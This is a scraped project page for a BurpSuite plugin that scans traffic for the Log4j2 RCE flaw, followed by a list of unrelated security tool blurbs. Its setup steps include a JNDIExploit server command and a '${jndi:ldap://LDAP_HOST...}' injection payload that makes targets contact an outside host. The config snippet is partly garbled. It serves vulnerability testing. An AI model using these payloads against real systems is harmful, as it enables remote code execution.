BurpSuite Extension: Log4j RCE Scanner

Overview

Log4j2 RCE Scanner

作者:key@元亨实验室

小广告:实验室纳新招人,岗位方向有安全研究(攻防、漏洞)、威胁情报(APT分析)、内部安全(SDL、安全研发),简历投递至邮箱:c2VjdXJpdHlAemhvbmdmdS5uZXQ=

前言

这是一个用于扫描近期爆出的Log4j2 RCE漏洞的BurpSuite插件,其原理就是基于BurpSuite提供的被动式扫描API,对流经Burp Proxy模块的流量进行全量扫描,扫描作用域为:请求参数(JSON字段、正常请求参数、Cookie参数、XML字段、Mulitpart)、请求头(请求自带请求头与自定义请求头)。

它与其他插件的区别:

  1. 一个点一个Payload(Hash区分),便于追踪漏洞位置;
  2. 仅支持LDAP Log接口,不支持DNS扫描探测,便于快速定位有效漏洞位置进行自查自检;
  3. 使用Python(Jython)编写,可以非常快速的进行二次开发、代码阅读,例如你可以改造这个项目为SQL注入、XSS盲打的探测插件;
  4. 支持扫描作用域相对较全。

使用方法

  1. 准备工作:该插件用Python(Jython)所写,所以需要你的BurpSuite加载Jython的Jar包,下载地址:https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.2/jython-standalone-2.7.2.jar,BurpSuite加载位置:BurpSuite - Extender - Options - Python Environment - Location of Jython standalone JAR file。

  2. 准备LDAP Log接口:由于插件的特殊性,在不更改插件代码的情况下,建议你准备一台服务器,在上面部署LDAP服务并提供一个Web API给到插件,这里推荐Command2API项目,搭配JNDIExploit使用。

    python Command2Api.py "java -jar JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0" 9889

  3. 填写配置:下载Python文件到本地,存储在无空格、无特殊符号、无中文的目录下,接着替换如下代码:

    LDAP 服务的主机地址(域名/IP,请注意内、外网环境) # LDAP_PORT -> LDAP 服务的主机端口 return self._helpers.urlEncode("${jndi:ldap://LDAP_HOST:LDAP_PORT/" + random_md5 + "}")">
    # LDAP_API_HOST -> LDAP Log接口的主机地址(域名/IP,请注意内、外网环境)
    # LDAP_API_PORT -> LDAP Log接口的主机端口
    # LDAP_API_PORT -> LDAP Log接口的路由
    # 建议搭配Command2API项目一起使用,其他接口请自行更改代码
    url = "http://LDAP_API_HOST:LDAP_API_PORT/LDAP_API_ROUTE"
    # LDAP_HOST -> LDAP 服务的主机地址(域名/IP,请注意内、外网环境)
    # LDAP_PORT -> LDAP 服务的主机端口
    return self._helpers.urlEncode("${jndi:ldap://LDAP_HOST:LDAP_PORT/" + random_md5 + "}")

  4. 加载插件:BurpSuite加载位置:BurpSuite - Extender - Extensions - Burp Extensions - Add。

  5. 开始扫描:浏览器挂上BurpSuite代理,让流量流经BurpSuite,插件会自动扫描,或者你可以选择结合爬虫的方式将爬虫流量过到BurpSuite进行扫描。

  6. 扫描结果:扫描结果会在Burp Dashboard中展示出来,并且有具体的请求报文,如下图所示,分别是Command2API与LDAP服务接收的日志(由于该漏洞的触发特殊性,建议对这些日志和BurpSuite流量进行保存)以及Burp的扫描结果。

Scans all drives for log4j jar files and gets their version from the manifest

log4shell_scanner Scans all drives for log4j jar files and gets their version from the manifest. Windows and Windows Server only.

Zdeněk Loučka 1 Dec 29, 2021
This is a partial and quick and dirty proof of concept implementation of the following specifications to configure a tor client to use trusted exit relays only.

This is a partial and quick and dirty proof of concept implementation of the following specifications to configure a tor client to use trusted exit re

22 Nov 09, 2022
Log4jScanner is a Log4j Related CVEs Scanner, Designed to Help Penetration Testers to Perform Black Box Testing on given subdomains.

Log4jScanner Log4jScanner is a Log4j Related CVEs Scanner, Designed to Help Penetration Testers to Perform Black Box Testing on given subdomains. Disc

Pushpender Singh 35 Dec 12, 2022
解密哥斯拉webshell管理工具流量

kingkong 解密哥斯拉Godzilla-V2.96 webshell管理工具流量 目前只支持jsp类型的webshell流量解密 Usage 获取攻击者上传到服务器的webshell样本 获取wireshark之类的流量包,一般甲方有科来之类的全流量镜像设备,联系运维人员获取,这里以test.

h4ck for fun 46 Dec 21, 2022
Tenssens framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources.

Tenssens framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources.

Md. Nur habib 31 Oct 21, 2022
WinRemoteEnum is a module-based collection of operations achievable by a low-privileged domain user.

WinRemoteEnum WinRemoteEnum is a module-based collection of operations achievable by a low-privileged domain user, sharing the goal of remotely gather

Simon 9 Nov 09, 2022
Mr.Holmes is a information gathering tool (OSINT)

🔍 Mr.Holmes Mr.Holmes is a information gathering tool (OSINT). Is main purpose is to gain information about domains,username and phone numbers with t

534 Jan 08, 2023
Yet another web fuzzer

yafuzz Yet another web fuzzer Usage This script can run in two modes of operation. Supplying a wordlist -W argument will initiate a multithreaded fuzz

FooBallZ 5 Feb 02, 2022
Convert a collection of features to a fixed-dimensional matrix using the hashing trick.

FeatureHasher Convert a collection of features to a fixed-dimensional matrix using the hashing trick. Note, this requires Jina=2.2.4. Example Here I

Jina AI 5 Mar 15, 2022
Getting my gitlab commit history into github

🔰 ᵀᴱᴸᴱᴳᴿᴬᴹ ᴴᴬᶜᴷ ᴮᴼᵀ 🔰 The owner would not be responsible for any kind of bans due to the bot. • ⚡ INSTALLING ⚡ • • 🛠️ Lᴀɴɢᴜᴀɢᴇs Aɴᴅ Tᴏᴏʟs 🔰 • If

Santiago Chiesa 1 Dec 24, 2021
labsecurity is a framework and its use is for ethical hacking and computer security

labsecurity labsecurity is a framework and its use is for ethical hacking and computer security. Warning This tool is only for educational purpose. If

Dylan Meca 16 Dec 08, 2022
2022-bridge - Example code belonging to the Bridge pattern video

Let's Take The Bridge Pattern To The Next Level This video covers how the bridge

11 Jun 14, 2022
This is a repository filled with scripts that were made with Python, and designed to exploit computer systems.

PYTHON-EXPLOITATION This is a repository filled with scripts that were made with Python, and designed to exploit computer systems. Networking tcp_clin

Nathan Galindo 1 Oct 30, 2021
log4j2 dos exploit,CVE-2021-45105 exploit,Denial of Service poc

说明 about author: 我超怕的 blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 do

3 Aug 13, 2022
🍉一款基于Python-Django的多功能Web安全渗透测试工具,包含漏洞扫描,端口扫描,指纹识别,目录扫描,旁站扫描,域名扫描等功能。

Sec-Tools 项目介绍 系统简介 本项目命名为Sec-Tools,是一款基于 Python-Django 的在线多功能 Web 应用渗透测试系统,包含漏洞检测、目录识别、端口扫描、指纹识别、域名探测、旁站探测、信息泄露检测等功能。本系统通过旁站探测和域名探测功能对待检测网站进行资产收集,通过端

简简 300 Jan 07, 2023
Finite Volume simulation of the Raleigh-Taylor Instability

finitevolume2-python Finite Volume simulation of the Raleigh-Taylor Instability Create Your Own Finite Volume Fluid Simulation (With Python): Part 2 B

Philip Mocz 12 Sep 01, 2022
💣 Bomb Crypto Bot 💣

💣 Bomb Crypto Bot 💣 ⚠️ Warning I am not responsible for any penalties incurred by those who use the bot, use it at your own risk. 📄 Documentation -

Matheus Benites 4 Apr 27, 2022
Use scrapli to retrieve security zone information from a Juniper SRX firewall

Get Security Zones with Scrapli Overview This example will show how to retrieve security zone information on Juniper's SRX firewalls. In addition to t

Calvin Remsburg 2 Jun 19, 2022
PySharpSphere - Inspired by SharpSphere, just another python version

PySharpSphere Inspired by SharpSphere, just another python version. Installation python3 setup.py install Features Support control both Linux and Wind

Ricter Zheng 191 Dec 22, 2022